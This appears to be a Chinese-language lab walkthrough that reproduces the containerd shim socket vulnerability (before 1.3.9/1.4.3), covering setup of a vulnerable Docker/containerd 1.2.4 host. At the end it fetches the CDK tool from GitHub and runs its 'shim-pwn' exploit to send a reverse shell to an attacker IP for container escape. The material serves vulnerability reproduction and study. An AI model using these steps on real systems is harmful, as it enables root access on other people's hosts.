漏洞概述

containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。

影响版本

1 containerd < 1.4.3

2 containerd < 1.3.9

环境搭建

1.Ubuntu更换源

vim /etc/apt/sources.list

#将文件内容替换为,这里为了速度快,我用了阿里的源

vim /etc/apt/sources.list #将文件内容替换为,这里为了速度快,我用了阿里的源 deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ xenial-proposed main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ xenial-proposed main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse

这个是中科大 Ubuntu jammy kylin麒麟(22.04)源 deb https://mirrors.ustc.edu.cn/ubuntu/ jammy main restricted universe multiverse deb-src https://mirrors.ustc.edu.cn/ubuntu/ jammy main restricted universe multiverse deb https://mirrors.ustc.edu.cn/ubuntu/ jammy-security main restricted universe multiverse deb-src https://mirrors.ustc.edu.cn/ubuntu/ jammy-security main restricted universe multiverse deb https://mirrors.ustc.edu.cn/ubuntu/ jammy-updates main restricted universe multiverse deb-src https://mirrors.ustc.edu.cn/ubuntu/ jammy-updates main restricted universe multiverse deb https://mirrors.ustc.edu.cn/ubuntu/ jammy-backports main restricted universe multiverse deb-src https://mirrors.ustc.edu.cn/ubuntu/ jammy-backports main restricted universe multiverse

两个源选一个就可以

2.更新Ubuntu,安装所需软件包

apt-get update

先更新一下apt源

apt-get install ca-certificates curl software-properties-common

安装CA证书

3.添加官方GPG密钥

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -

如果是ubuntu22.04会报错

Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)).

相信我无视这个警告,完全不影响

4.设置稳定的存储库

add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"

5.查看可安装的docker版本

apt-cache madison docker-ce

6.安装指定版本的docker

apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

注意了必须是1.2.4

安装完成后用

7查看docker版本

docker version

查看containerd: Version: 1.2.4

docker哪些命令是高危操作(Docker容器逃逸漏洞获得root权限)(1)

8.下载一个容器

docker pull ubuntu:18.04

9.通过--net=host 作为启动参数来运行并进入一个容器:

docker run -it --net=host ubuntu:18.04 /bin/bash

10.在容器内执行 cat /proc/net/unix|grep -a "containerd-shim" 可看到抽象命名空间Unix域套接字.

docker哪些命令是高危操作(Docker容器逃逸漏洞获得root权限)(2)

11.由于docker没有wget工具,需要在docker里面下载wget

apt-get update

先更新一下

apt-get install wget

安装wget

12.下载exp并实现反弹shell,实现docker逃逸

wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz

下载这个神奇的包文件

tar -zxvf cdk_v0.1.6_release.tar.gz ./cdk_linux_amd64 run shim-pwn [攻击机ip] [监听端口]./cdk_linux_amd64 run shim-pwn 192.168.1.8 12345

13.攻击机监听1234端口,可看到docker逃逸成功。

docker哪些命令是高危操作(Docker容器逃逸漏洞获得root权限)(3)

还原难度较高,不太适合新手

,